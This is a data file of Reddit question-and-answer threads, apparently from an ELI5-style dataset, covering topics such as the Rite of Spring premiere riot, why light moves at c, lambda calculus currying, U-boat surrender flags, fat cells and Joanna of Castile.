{"q_id": "165vuv", "title": "Why did Stravinsky's \"The Rite of Spring\" cause a riot at its premier?", "selftext": "Inspired by the recent TIL post.  The wiki article seems to say that the choreography and music was controversial and that the audience was divided by taste, but perhaps someone could shed some more light on the place of ballet in society at the time and what provoked such a violent reaction.  I mean, a brawl between the bohemians and the society set over a performance seems indicative of some serious cultural issues, right?\n\nEDIT: Thanks for the wonderful responses everyone!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/165vuv/why_did_stravinskys_the_rite_of_spring_cause_a/", "answers": {"a_id": ["c7t2gka", "c7t4u56", "c7t6kql"], "score": [33, 4, 9], "text": ["You have to understand that something like [The Rite of Spring](_URL_0_) (Link is youtube of the piece for those interested) was completely unheard of at the time.  The piece has almost nothing in common with what one would typically expect to hear at the ballet.  \n\nMuch like Dylan going electric at the International folk Festival, Stravinsky, by having the piece premiered at a well known theater in Paris, selected an audience with a great deal of familiarity with ballet and strong opinions of what was appropriate at the ballet and proceeded to take those expectations and...defied almost all of them.  \n\nAfter the debut of [Firebird](_URL_1_) a few years earlier, Stravinsky was hailed by many as a genius composer (history has proven them right) and was highly regarded by most of his contemporary musicians, even those outside the classical music world.\n\nThe murmurs (and even boos! at the ballet!) began began even before the first few minutes of the piece had been performed according to some sources.  All agree that the piece escalated into full scale violence fairly early on and the police had arrived by intermission, but lost control of the crowd again during the 2nd act.  \n\nThe violence escalated from arguments between those who considered Stravinsky a genius and thought that the piece was merely another great work of art and those who considered the dissonance and oddity of the piece a travesty to the standards of the ballet and an unacceptable breach of social norms for the art form.  \n\nSo yes, for the most part the audience was divided by taste.  \n\nAs to what provoked such a violent reaction, one can not be certain, and in fact, I have no idea if any cultural issues played into it at all.  Because of that **I wish to issue a disclaimer that I cannot substantiate any claims made after this point in this comment** but this part of your question is not one that I believe can be answered by anyone without some speculation.  \n\nI wish to preface all of this by saying that few can be sure of why any riot occurs; tensions run high, there is a crowd and someone says or does the wrong thing and the individual becomes lost in the mob mentality.  Hell, riots are started at the end of sports games fairly often, and I have never met anyone who has said before a game \"If [team X] loses I am going to burn something and start a fight.\"  And I'm an Ohio State fan and a Browns fan, teams whose fans have earned a pretty solid place as part of that stereotype as far as American sports are concerned.  \n\n\nStravinsky's music, as you are aware, or possibly are now discovering if you clicked either of the links to his suites I provided earlier, has an aggressive, almost primal sound to it.  This, combined with the passions of most of the crowd (I think it is fair to assume that no one goes to the Premiere of a Ballet by a famous composer who isn't pretty into ballet) made emotions and tensions run high.  Once they were high enough, somebody probably threw a punch and set off a chain reaction.  \n\nRegardless of the reasons why, the riot undoubtedly set in stone a place in history for the piece, and made it Stravinsky's best known piece.  ", "Firstly, I'm not a music historian, but an interested amateur. \n\nI can't directly answer your question, but I will point out that riots, or at least fistfights were not unheard of in classical music at the time. [Schoenberg's 'Transfigured Night' tone poem caused a riot in 1902](_URL_0_) (plenty more examples from Schoenberg, Mahler apparently got into a fight with someone who was a little too critical.) It was not uncommon, in the mid-19th century for supporters of Brahms and Wagner to get into fights (I've read a story of an audience nearly erupting into a riot when they were forced to sit through some Brahms at a concert.) The Wagner-Brahms rivalry was vicious, puts gossip mags and celebrity feuds from today to shame.\n\nI'm not willing to speculate over what has made the Rite of Spring riot such an immortal act, I think randommusciain (above me,) answers that quite well in the first part of his comment.", "In my other life I am a classical musician. The consensus among music historians is that the riot was no riot at all. The organizers of the event were the movers of the crowd (or at least those *hired* by the event organizers) and manufactured the \"riot\". As randommusician suggested, the riot \"set in stone a place in history for the piece\" - which seems to have been the goal of the inciters to begin with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=aGFRwKQqbk4", "https://www.youtube.com/watch?v=2geXJ5Oiq60"], ["http://public.wsu.edu/~delahoyd/20th/schoenberg.html"], []]}
{"q_id": "497zu6", "title": "why light travel so fast, effortless and easy between places but for us to achieve theoretically that speed requires an enormous amount of energy.", "selftext": "Random question, Don't know if you guys can answer.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/497zu6/eli5_why_light_travel_so_fast_effortless_and_easy/", "answers": {"a_id": ["d0ppl70", "d0prtih", "d0ptu8j", "d0pxxay", "d0qca13"], "score": [4, 68, 8, 2, 3], "text": ["This is the sort of thing you should head over to r/askscience for. In the mean time, you should search wikipedia for \"speed of light\". If nothing else, it'll make totally clear why we can't really give you an easy answer.", "Because light is massless. As an analogy for this, get yourself some rocks. Get a big rock you can barely push across the ground, one you can barely carry, one you can heft, and then a pebble.  How much energy would it take for you to get each of these moving at ten mph without any tools? The big rock would be mostly impossible. The one you can carry might be doable briefly, if you ran with it. The rock you can heft you can either Chuck to hit that speed or run with, and the pebble you can throw.\n\nWhat you're seeing here is that as you reduce mass, things get easier to move. Well light has no mass, so it is essentially the easiest to move. This is a very simplified version of things, obviously.", "TL;DR: light has no mass.\n\nIt's not a simple answer but I'll try to give you the short version without being too misleading.  Basically, Einstein's special relativity showed us that time and space are not constant things like you would expect. Instead, they warp and change depending on your motion.  This is in response to the late 19th century discovery that light always travels at the same speed, no matter what the reference frame.\n\nLet me explain that last bit in more detail:\n\nLet's say you're driving around with friends, smashing rural mailboxes with a baseball bat, as one does.  The car is going at 50 MPH, your bat swing is 40 MPH.  How fast does the bat hit the mailbox?  Well, obviously 50 + 40 MPH, 90 MPH.  That's all obvious.\n\nNow shine a flashlight at a mailbox.  The light leaves the flashlight at the speed of light.  You would expect it to hit the mailbox at the speed of light + 50 MPH.  But it doesn't.  It still hits the mailbox at exactly the speed of light.\n\nThis is really weird and caused huge amounts of confusion and angst for late 19th century physicists.  What Einstein realised is that speeds don't actually add up the way we think they do.\n\nIn reality, your bat does not actually hit the mailbox at exactly 90 MPH.  It hits the mailbox at a tiny, tiny, tiny bit **less** than 90 MPH.  As you get close to the speed of light, these discrepancies become substantial.  Speeds don't actually add up in a simple mathematical fashion like we think they do.  It's just that at normal velocities, the discrepancies are too small to notice.\n\nIn addition, the speed of flow of time as well as an object's mass and its length in the direction of travel also change as you get closer to the speed of light.\n\nIf you made a regular matter object with mass go the speed of light, it would be infinitely flat in the direction of travel, time would completely stop for it and it would weigh infinity pounds.  That's why you can't get matter up to the speed of light.  It would weigh an infinite amount and it would take an infinite amount of energy to get it there.  Anything with mass simply cannot go the speed of light, no matter what you do.\n\nLight, however, is transmitted with massless photons.  Their mass is zero, which times infinity is still zero.  (that's a huge oversimplification of the actual physics, but close enough for this discussion)  In fact, photons and any other massless particle can **only** go the speed of light.  A beam of light does slow down when it travels through something that isn't a vacuum but that's because it's interacting with matter.  The interaction is complicated, but to keep it simple, you can think of the photons as hitting matter, being absorbed and destroyed and being re-emitted with a delay, making the overall speed of the light beam slower.\n\nTo give you an ideal of how strange the world of a photon is, this is how it would perceive the universe.  The entire universe is and flat, two dimensional in its direction of travel.  The location of where it is created and destroyed are literally the same point in space to it.  The photon doesn't even experience time.  It's moment of creation and destruction are the exact same instant of time to it.  From its own perspective, the photon doesn't really even exist.  It only has a lifetime and motion from *our* perspective.\n\nOne last, related point.  c (the same c in E = mc^2) is generally referred to as the speed of light.  This is actually misleading.  c is better thought of as the speed of causality.  It is the fastest speed at which any two points in our universe can communicate with each other in any way.  Light, being carried by massless particles, just happens to go at c.  But calling it the speed of light isn't really correct, even though pop sci refers to it that way constantly.  The analogy is a freeway speed limit of 55 MPH.  There may be a green Honda Civic going 55 MPH but the speed limit is not defined by the speed of that particular car.", "Put a feather on your face and try to blow it into the air. Now, have your friend stand on your face and try to blow them into the air.", "We are all moving at the \"speed of light\" (*c*) through *spacetime*\n\nThe more mass you have, the faster you travel through *time* and the slower you travel through *space*. And vice-versa.\n\nThis means that the only way for something to move at *c* is to have zero mass, like a photon. A curious consequence of this is that photons do not move through time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "63h5j9", "title": "what are the main reasons for why dating/relationships have changed so much over the last 100 years?", "selftext": "From arranged marriages in the early 1900s to quick courtships in the 30s-60s and high divorce rates in the 21st century, what are the main factors that cause such a substantial change in how humans have romantic relationships?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63h5j9/eli5_what_are_the_main_reasons_for_why/", "answers": {"a_id": ["dfu1t23", "dfu2dai", "dfu9jjm", "dfue8kh", "dfuujp5"], "score": [18, 38, 2, 8, 2], "text": ["It's gotten increasingly informal, and also more equal for the woman. Before, men and women never encountered each other except at formal gatherings like balls and dances. Families decided if the couple should marry or not. Then, incomes rose, but women still stayed at home. Men asked women on dates and payed for them, because women didn't have an income for themselves. Then women entered the workforce. Now dating is extremely informal, and you have tinder and online dating, as well as 'traditional' dates. Now it's more equal for both parties however. ", "By *far* the biggest reasons are (1) birth control, and (2) women's rights.\n\nBirth control means that casual dating, and even casual sex, is not very likely to lead to a pregnancy. That makes it much less important to avoid.\n\nWomen's rights mean that a woman doesn't *have to* get married in order to have a good life. That hugely reduces the pressure to either \"marry this one or move along\".", "Population growth. Sphere of influence/contact. 1. Before the amount of suitable partners one might meet in ones life's went from a few to endless supply. 2. The amount of influences you had on your morals and world view went from few to endless supply. It all comes down to population growth and sphere of influences", "Legal emancipation and chemical emancipation.  At the end of the 19th century, many women did not have property rights. They couldn't open bank accounts or take out mortgages - not without a husband or father to sign for them. The could not vote. They could not serve on juries. So they waged a struggle to start getting some fundamental rights, and a byproduct put an end to arranged marriages dictated by those who had legal control over you (if your father is no longer your legal guardian, he can't exert so much pressure on marriage). The continuing advancement of legal rights also led to more divorce, as a women wasn't forced to stay with a man that mistreated her. \n\nSex, however, remained very dangerous and could lead to pregnancy. So even if it did happen before marriage, there was a certain pressure to either get married before sex started, before sex resulted in a pregnancy, or get married after a pregnancy happened. \n\nThen the pill came. Women could have sex without getting pregnant. And abortion became a safer procedure. The idea of free love, drugs, disco, and sexual inhibitions kicked off. There was no AIDS yet. \n\nAfter AIDS things tightened up some.  But now with social media, the pool of potential dates (for urbanites) dramatically expanded.  \n\nHowever, your question is wrong as to divorce rates; they jumped up in the 60s and 70s and have stayed fairly level since then. The 21st Century doesn't have any significant difference with the late 20th Century in that regard. ", "I think the right of self-determination has a lot to do with it from both sides. Back in the days of prearranged marriages, neither the bride or groom had a choice, and love may not have been involved by either party. ERA is an off shoot of this concept and birth control helped to enable ERA to prosper. The right of self-determination is a cardinal principle in modern international law (commonly jus cogens rule).\n\nAccording to Wikipedia on Self-determination:\n\n > On 14 December 1960, the United Nations General Assembly adopted United Nations General Assembly Resolution 1514 (XV) under titled Declaration on the Granting of Independence to Colonial Countries and Peoples, which supported the granting of independence to colonial countries and peoples in providing an inevitable legal linkage between self-determination and its goal of decolonisation, it postulated a new international law-based right of freedom also in economic self-determination.\n\nERA was passed by Congress 12 years later. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1qsfql", "title": "lambda calculus", "selftext": "I know it is essential in functional programming. I just can't wrap my head  around it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qsfql/eli5_lambda_calculus/", "answers": {"a_id": ["cdg251g", "cdg3e2l"], "score": [25, 22], "text": ["[These alligators might help](_URL_0_).", "Normally when you use a function, you put in a variable and get a value back. For example, the square function. Put in 5, get 25. Put in x, get x^(2). \n\nGenerally, the function expects the input to be of a certain type, such as an integer or a String. You're probably familiar with variables in another language, like ints and doubles and Strings. In functional programming, functions also have a type. The square function has a type of int - >  int. In other words, it accepts an integer and returns an integer. This allows you to pass functions as parameters of other functions.\n\nWhere does lambda calculus fit in? Functional programming is based off of lambda calculus, but lambdas (lambda = a function) can only have a single input. But wait, that's not very useful! What if you want to add two numbers together? Lambda calculus works around this through a process called currying. \n\nFor a function named Add(x, y) that takes two numbers and returns their sum, you would probably think it just adds them together and returns that. In lambda calculus, you can't do that, so what happens is the Add function actually only takes the first parameter and creates a function. This new function is then given the second parameter, and the result of that function is the sum. \n\nIt's a bit hard to grasp at first, so I'll break it down. \n\nFirst, we call the Add function. Lets add 3 and 4. In lambda calculus, it would be written as Add(3, 4). \n\nSecond, the Add function processes the first parameter, 3. Parameters are processed from left to right. Add doesn't know or care what the second parameter is - it's only job is to create a function that adds 3 to the parameter. Because functions have a type, they can be passed to and returned from functions. The Add function returns a new function we can refer to as Add3, because it takes a number and adds 3 to it. In functional programming, it is called an anonymous function, because it doesn't have a label to refer to it. It just gets passed around by other functions.\n\nThird, the Add3 function takes the next parameter, 4. It adds 3 to 4 to get 7 and returns it. It's job is done - you can't access Add3 anymore.\n\nYou can actually give the Add3 function a name if you want. It depends on the language, but it would be something like Add3 = Add(3). Add doesn't care that there isn't a second parameter, it just returns the function it returned in step 2. You can now use Add3 as a function that takes one parameter and adds 3 to it. \n\nFunctional programming is quite different from other programming paradigms, but it's quite powerful and is more deeply rooted in mathematics than the programming methodology used in Java, C++, and other imperative languages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://worrydream.com/AlligatorEggs/"], []]}
{"q_id": "2bj4nm", "title": "Were people punished to time in the stocks/pillory subjected to being raped?", "selftext": "I couldn't find any mention of it in the FAQ, but I read a small tidbit by another redditor suggesting such things probably happened, though the frequency is unknown. I suspect that unless a guard was posted, this sort of thing would happen, especially if the victim/criminal was left in the stocks unattended for an extended period of time.\n\nThe only source I could find was _URL_0_, although without further research I don't know how accurate it is.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bj4nm/were_people_punished_to_time_in_the_stockspillory/", "answers": {"a_id": ["cj6emim", "cj70jkx"], "score": [70, 5], "text": ["It seems unlikely. [This essay about sodomy and the pillory](_URL_0_) (Thanks to /u/CDfm who posted it elsewhere today!) gives pretty much the exact opposite impression actually. Sodomy in 1700s Britain was an offense punishable by death. A convicted sodomite could expect to be hanged. Someone convicted of *attempted* sodomy would be places in the pillory, and subjected to all kinds of assaults - many apparently died from projectiles that were thrown at them. There is no mention of any sort of raping of those in the stocks though, and given that the act of doing so would itself be punishable by death, it certainly wasn't something that authorities in any way were encouraging or expecting be done to the victim. \n\nThe question is a little problematic though, since if it wasn't a 'thing', but rather a creation of more modern minds creating stories, there simply isn't going to be much literature that focuses on saying it didn't happen. Instead, base don a few searches I have done, the best proof of it not happening is more the lack of sources speaking to it, especially ones like this where it would seem to be a rather important fact to mention, if only in passing.\n\nNow, the only caveat I would offer is that this only speaks of men placed in the stocks. Whether women who were subjected to the pillory were the victims of sexual assaults while there is not addressed in the paper I cited, but that might be a possibility.", "Okay, so, other folks have contributed here perfectly cromulent answers, but let me expand upon it a little bit.\n\n*Were folks at the stocks/pillory raped?*\n\nNo.  We can't be 100% sure, but we can be six sigma sure.  Here's why I say this:\n\nThe stocks were a place for social approbation.  It's a form of social control.  By putting people in the stocks the authorities are displaying the transgressive individual for all to punish.  So, the entire community shares in the punishment by beatings, throwing waste, etc.  By sharing in the punishment the community is reinforcing social norms.  Had someone been sentenced to the stocks and the community didn't agree with the punishment they could have easily been sprung the prisoner.  So people who are sentenced to the stocks are consensus criminals.\n\nOkay, now, that's great, but what does it matter?  It matters because you don't punish a transgressive criminal by doing more transgressive things.  Rape is one of those crimes in early modern England around which there was consistent agreement.  Rape was notoriously difficult to prove, of course, but the foulness of rape crossed social boundaries.  \n\nNow, you may be wondering, if murder is also transgressive then how is execution permissible?  It's permissible because 1. it's supposed to be built on social consensus and 2. the criminal, by committing murder, has put him or herself outside of God's law.  And this brings me to my final point: rape also puts someone outside of God's law, but it cannot be punished by rape because that is an individual act, not a community act."]}, "title_urls": [], "selftext_urls": ["http://www.nospank.net/rape3.htm"], "answers_urls": [["http://www.pilloryhistory.com/publicsecrets.html"], []]}
{"q_id": "1jmeua", "title": "Did ancient civilizations have a concept of \"cute\" as in babies, animals, etc?", "selftext": "I was just browsing /r/aww and wondered if cuteness as it's known today is something that developed in recent centuries, or if it's always been around. Did ancient Egyptians, for example, value cats only as pest control, and dogs only as hunting companions, or did they have some sense of a more endearing quality that we would call \"cute\"?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jmeua/did_ancient_civilizations_have_a_concept_of_cute/", "answers": {"a_id": ["cbg6tql"], "score": [37], "text": ["I don't think there are *words* for 'cute' in Greek or Latin (*carus*, 'dear' or 'beloved', might come close), but some ancient Greeks and Romans kept companion animals solely for the pleasure of their company.  Looking at dogs specifically:  as early as Homer's *Odyssey*, we find mentioned *trapez\u0113es kunes*, small 'table dogs' which seem to serve no practical purpose.  Maltese lap-dogs were taken on sea voyages in classical Greece and were much favored by high-ranking Romans under the Empire; somewhere around 90 AD, the poet Martial wrote an epigram (1.109) praising one of this breed:\n\n > Issa is more playful than the sparrow of Catullus. Issa is more pure than the kiss of a dove. Issa is more loving than any maiden. Issa is dearer than Indian gems. The little dog Issa is the pet of Publius. If she complains, you will think she speaks. She feels both the sorrow and the gladness of her master. She lies reclined upon his neck, and sleeps, so that not a respiration is heard from her. And, however pressed, she has never sullied the coverlet with a single spot; but rouses her master with a gentle touch of her foot, and begs to be set down from the bed and relieved.\n\nIf you wouldn't call that cute, you have no soul.\n\n[Source.](_URL_2_)\n\nEdit:  because I realized this thread is no good without pics:\n\n[A funerary slab with a young girl and her dog](_URL_5_) from Hellenistic Egypt, 300-250 BC\n\n[A woman and her dog on an Attic amphora](_URL_3_), ca. 500 BC\n\n[Greyhounds playing](_URL_4_), 2nd century BC\n\n[The famous *cave canem* dog from Pompeii](_URL_1_) - the sign says \"Beware Of Dog\", but the dog's body language is totally a [play bow](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://dogs.about.com/od/dogtraining/a/play-bow-dog-body-language.htm", "http://commons.wikimedia.org/wiki/File:Pompeii_-_Cave_Canem_%284786638740%29.jpg", "http://penelope.uchicago.edu/Thayer/E/Journals/CJ/44/4/Household_Pets*.html", "http://commons.wikimedia.org/wiki/File:Woman_dog_Louvre_F114.jpg", "http://commons.wikimedia.org/wiki/File:Greyhounds_playing,_Vatican.jpg", "http://commons.wikimedia.org/wiki/File:Funerary_loculus_slab_with_names_of_Antigona_and_Aristopolis_%28c._300%E2%80%93250_BCE%29,_Alexandria,_Egypt_-_20070817.jpg"]]}
{"q_id": "cx18pw", "title": "Upon the surrender of Nazi Germany in World War II German U-boats were ordered to fly a black flag and sail to an Allied port and surrender. Why the color black?", "selftext": "After seeing a  [post](_URL_2_) on /r/WarshipPorn I read that U-889 flew a black flag of surrender. Why the color black?\n\nPreviously asked [here](_URL_0_) and [here](_URL_1_) but unanswered.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cx18pw/upon_the_surrender_of_nazi_germany_in_world_war/", "answers": {"a_id": ["eyhity6"], "score": [8], "text": ["I found a [post](_URL_0_) on _URL_1_ forums that provides some helpful context. I pasted it below but the question is still unresolved.\n\n >  After the announcement of Germany's unconditional surrender the Admiralty made special arrangements for U-boats at sea. On 19 March 1945 the Commander-in-Chief Western- Approaches (Admiral Max Horton)had requested clarification on procedures and instructions for surrender of U-boats and their internment at Loch Ryan and Lisahally. (1)\n\n >  In order to institute a uniform policy, Allied naval authorities needed proper guidance. Based upon a subsequent meeting at the Admiralty on 27 March, Horton suggested that German U-boats surface, report their positions, fly a black or dark blue flag, jettison ammunition and torpedoes and follow routes to selected Allied reception ports. (2)\n\n >  With minor adjustments and alterations, the Admiralty accepted these proposals under the code-name 'Adieu'. Since German captains were likely to ignore Allied transmissions, instructions for U-boats, drafted by Horton's staff were added in two supplementary annexes to the special naval orders. (3)\n\n >  Acting through German naval authorities, the Royal Navy hoped that captains would cease active operations immediately. U-boats were ordered to obey Allied orders without hesitation. At Admiral Burrough's direction, British naval authorities allowed German transmitters to continue broadcasting surrender instructions in code and plain language. (4)\n\n >  The reason why they were allowed to broadcast coded messages was for the U-boats that were operating in the Far East (Monson boats).\n\n >  (1) PRO, ADM 116/5202, Message from Admiral Max Horton to Admiralty, 19 1529A March 1945.\n\n >  (2) NAC, RG24, Vol. 11,752 File CS638-3, 'Minutes of Meeting at the Admiralty concerning arrnagements for dealing with German U-boats after surrender, 27 March 1945.\n\n >  (3) DHIST, File 1650-U-Boats-1945 Commander G.F. Todd, RCN, Naval Assistant (Policy  &  Plans), 'Third Interim Report on Plans of Surrender of German U-boats', 17 April 1945.\n\n >  (4) PRO, WO.205/259, Message from ANXCF Main to Flag Officer Kiel, 09202IB May 1945."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/612j7y/why_did_ww2_submarines_surrender_under_a_black/", "https://www.reddit.com/r/AskHistorians/comments/5t2m1n/why_did_submarines_fly_a_black_flag_to_surrender/", "https://www.reddit.com/r/WarshipPorn/comments/cwt0gu/surrender_of_u889_to_the_royal_canadian_navy_near/"], "answers_urls": [["https://uboat.net/forums/read.php?3,45103,45107", "uboat.net"]]}
{"q_id": "36stuw", "title": "does your body become less efficient at converting food into energy as you get older?", "selftext": "I'm trying to find out why I don't have as much energy as i once did.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36stuw/eli5_does_your_body_become_less_efficient_at/", "answers": {"a_id": ["crgv7jp", "crh40jn"], "score": [2, 2], "text": ["I'm not sure it gets less efficient at converting food into energy. It is certainly possible. \n\nI do know that if your body is fighting infection or an illness, that it will use up more calories and resources as a direct result. \n\nI have Ulcerative Colitis, and I don't have as much energy as I used to. I brought it up to my gastroenterology doctor and he said that since my body is constantly fighting my disease, it burns more calories than normal. Which means I have less energy. ", "I don't know if the actual amount of energy gained from food slows down with age, but the *rate* at which food is converted to energy (metabolism) certainly slows down with age. In fact, it begins slowing in your mid-20s!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3yuygr", "title": "if fat cells only shrink but not disappear when weight is lost, does this mean that you gain weight faster if you were previously heavy?", "selftext": "I heard that when you lose weight, the fat that was lost in the process shrinks but doesn't disappear completely. So if they were to start eating more, the fat that was there all along could expand again. I'm wondering if this means that a previously fat person would gain weight faster than a person who was always skinny", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yuygr/eli5_if_fat_cells_only_shrink_but_not_disappear/", "answers": {"a_id": ["cyh4983", "cyhfgjd", "cyhifq8"], "score": [148, 10, 3], "text": ["Sorry to say, but the other people are definitely wrong. Your body will create and destroy fat cells as needed. They don't just sit there forever. I don't know where you read that, but it is not correct. ", "I didn't read all the responses on here, but I do research on obesity/fat and studies have basically organized fat cells into two broad categories: Brown adipose tissue (BAT) and white adipose tissue (WAT). BAT cells are the \"good\" kind of fat cells which actually are very similar to muscle cells in that mitochondria (energy power-houses of cells) is more abundant in BAT cells. WAT cells can undergo transformation into \"beige\" cells which are in between BAT and WAT cells - but are capable of producing a lot of energy like BAT cells. Sorry if this is too in depth, but exercise and calorie-burning activities can activate certain transcription factors (things that turn on/off genes in a sense) which will allow the transformation of WAT into beige. I hope this was a good enough explanation. You can also read about how cold climates can induce WAT transformation, because the body needs to produce more energy to keep itself warm. I hope this helps! \n\nEDIT: I don't think previously heavy people can gain weight faster after losing weight, but again, these types of cells can transform more easily than others, so it all depends on the lifestyle change after losing the weight. It also depends on your natural metabolism and if the person has a thyroid problem or are more prone to gaining weight quicker than others. ", "This seems to be one of those topics where the plural of anecdote and self-taught physiology is not going to magically become data so to combat that \n\n_URL_0_\n\n(really tried to get access, but nature is a selectively free access journal so what you gonna do ) Paper from nature, about the dynamics of adipocytes (fat cells)\n\nThe authors conclude that fat cells numbers remain constant in time both for obese and lean individuals, even if you factor in dramatic weight loss. They further add that fat cell number seem locked in from adolescence. It seems turnover of fat cells is tightly controlled by immune mechanisms.\n\nThey further suggest that obese individuals are at higher risk of regaining their weight but they suggest that this is likely due to the fact that, after weight loss, obese individuals have deficiency in the hormone leptin, which is produced by your fat cells (surprise surprise, fat cells are endocrine tissue) Leptin in normal individuals curbs hunger. If you have shrinked fat cells, they do not make leptin at the same level, in turn you are more hungry and eat more such that you move towards the weight equilibrium from before the weight loss. Atleast that is their conclusion based on previous evidence"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.nature.com/nature/journal/v453/n7196/full/nature06902.html"]]}
{"q_id": "3mzezk", "title": "why do combs have two different size spaces between the teeth?", "selftext": "one half is almost always narrow set the other almost double the distance, why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mzezk/eli5_why_do_combs_have_two_different_size_spaces/", "answers": {"a_id": ["cvjfdwi"], "score": [6], "text": ["So people who need a fine comb and share a living space with someone who needs a wider comb can co-exist.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5wdql9", "title": "why do obese people's legs remain under developed?", "selftext": "In weight training it is said that to build muscles you need to carry weights. Why do obese people's legs remain under developed? even if majority of them are top heavy all their lives the legs remain under developed (not like professional weight lifters legs)? Sorry for bad English. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wdql9/eli5why_do_obese_peoples_legs_remain_under/", "answers": {"a_id": ["de9adxy", "de9and0", "de9anxr", "de9apoh", "de9b975", "de9mnk3"], "score": [10, 5, 5, 14, 6, 2], "text": ["Their legs will have adapted to carry the increased load despite it not being visible due to being hidden beneath fat.  ", "They are well developed, just buried under fat. They also aren't as well developed as a lifter, though. They don't do as many 'reps' (if you call standing up a rep) and they use a much more limited range of motion. ", "Part of their obesity is due to lack of activity. You won't gain anything from sitting down with 300 lbs.", "Well first, not all obese people have underdeveloped legs. If an overweight person is active and heavy, chances are they kick like a horse. Their core might be better developed than you'd think as well, since a lot of abdominal muscles act to keep the torso in line and that becomes more difficult when reacting to shifting weight. I know several people who, due to thyroid problems are quite overweight, but are in much better shape than I am,\n\nSecond, if an obese person has underdeveloped musculature, it is because they are sedentary. This can be caused by a lot of factors. A lot of people develop joint problems in their knees and ankles when they gain weight that make it difficult or painful to walk. The subset of obese people who are depressed will avoid activity because that's one of the things depression does to a person. Type 2 diabetes can result in bloodflow and nerve problems in the peripheries like hands or feet that make it difficult to move. \n\n", "Not sure what you mean. Heavy people who aren't wheelchair-bound typically have some great calves.", "I would assume that all weights of people have lower body skeletal muscle equivalent to the amount needed to carry their weight. (Assuming no exercise of corse.)\n\nJust the more obese you go the less you can see the leg muscle. Appearing \"under developed\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3pe8ao", "title": "Was Joanna of Castille (aka Juana la Loca) actually mentally ill, or were these allegations made up so her power could be usurped?", "selftext": "Basically the title. Given the circumstances, I believe she was the tragic victim of a power struggle but I'd also like an accurate historical basis for this.\n\nWould also like a recommendation for a book about her life, English is preferred but Spanish is ok if it's a very accurate/interesting source unavailable in English.\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pe8ao/was_joanna_of_castille_aka_juana_la_loca_actually/", "answers": {"a_id": ["cw5slw5"], "score": [9], "text": ["This is a good question and I've attempted to answer this [here](_URL_0_). It is quite certain that she suffered from serious mental illness at the end of her life. It is widely accepted that she underwent mental abuse from her husband when she was first sent to Flanders, and it is very likely that this made the situation much worse. \n\nWe know for sure several things:\n\n1. As a child, she was considered highly intelligent, well read, a great bridal candidate. However, her Portuguese grandmother was reported to have mental illness, so she may have genetic predisposition to mental illness. \n\n2. When she was married to Philip the Handsome, she was sent to the Burgundian Low Countries and she didn't return until much later in life. As Philip's wife she was undermined personally and politically. Philip had many mistresses, and harbors ambition towards Castile and Aragon, that he pursued until his death. This is when she started to be confined, ostensibly due to mental illness. \n\n3. When Philip and Juana went to Spain to press her claims as Princess of Asturias, following her elder brother's death, Ferdinand at first tried to keep himself as ruler of Castile even though Isabella left him only as regent. Ferdinand had few supporters in Castile however, partly due to close ties between Castile and the Low Countries at this time: they were close trading partners and both disagree with Ferdinand's policy toward France. After some political maneuvering, both Ferdinand and Philip agreed that Juana was not fit to rule due to her mental illness. On the same day, upon return to Aragon lands, he disavowed this agreement. So we may think of all that as highly politicized, but this does not answer whether Juana was in fact mad. However, Philip left for Flanders by himself, while a pregnant Juana stayed in Spain. Some say this is when her mental illness started to show obvious signs, including periods of melancholy, and even wandering about beyond the limits of the castle of Medina del Campo she was staying in, with worried servants scurrying about trying to talk her into coming back inside. \n\n4. After Philip died, she tried to press claims to rule Castile herself. The country fell into chaos, and Cardinal Cisneros, against Juana's wish, swiftly set up a regency council and invited Ferdinand to act as regent of Castile again, this time on behalf of her son Charles who was then in the Low Countries and who would become Charles V (Carlos I of Castille). \n\n5. During the Revolt of the Communeros, despite pleas from the rebelling faction, Juana refused to sign any agreements or declarations. By this point she was already fully confined. She refused to rule and yet she also refused to allow anybody else to rule. \n\nSo from that we know that reports of her madness started after she was married to Philip of Burgundy. That there was significant motivation to over play it, by all sides, sometimes at different times. And that towards the end of her life she was still seen as a viable political pawn. \n\nSources:\n\n* W. H. Prescott, *History of Ferdinand and Isabella Vol. III* has the most complete English-language coverage that I know of.\n* W. Robertson, *A History of Emperor Charles V* has some coverage but not nearly as complete. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/36ylvx/why_was_it_common_for_european_kings_like_charles/crievsy"]]}
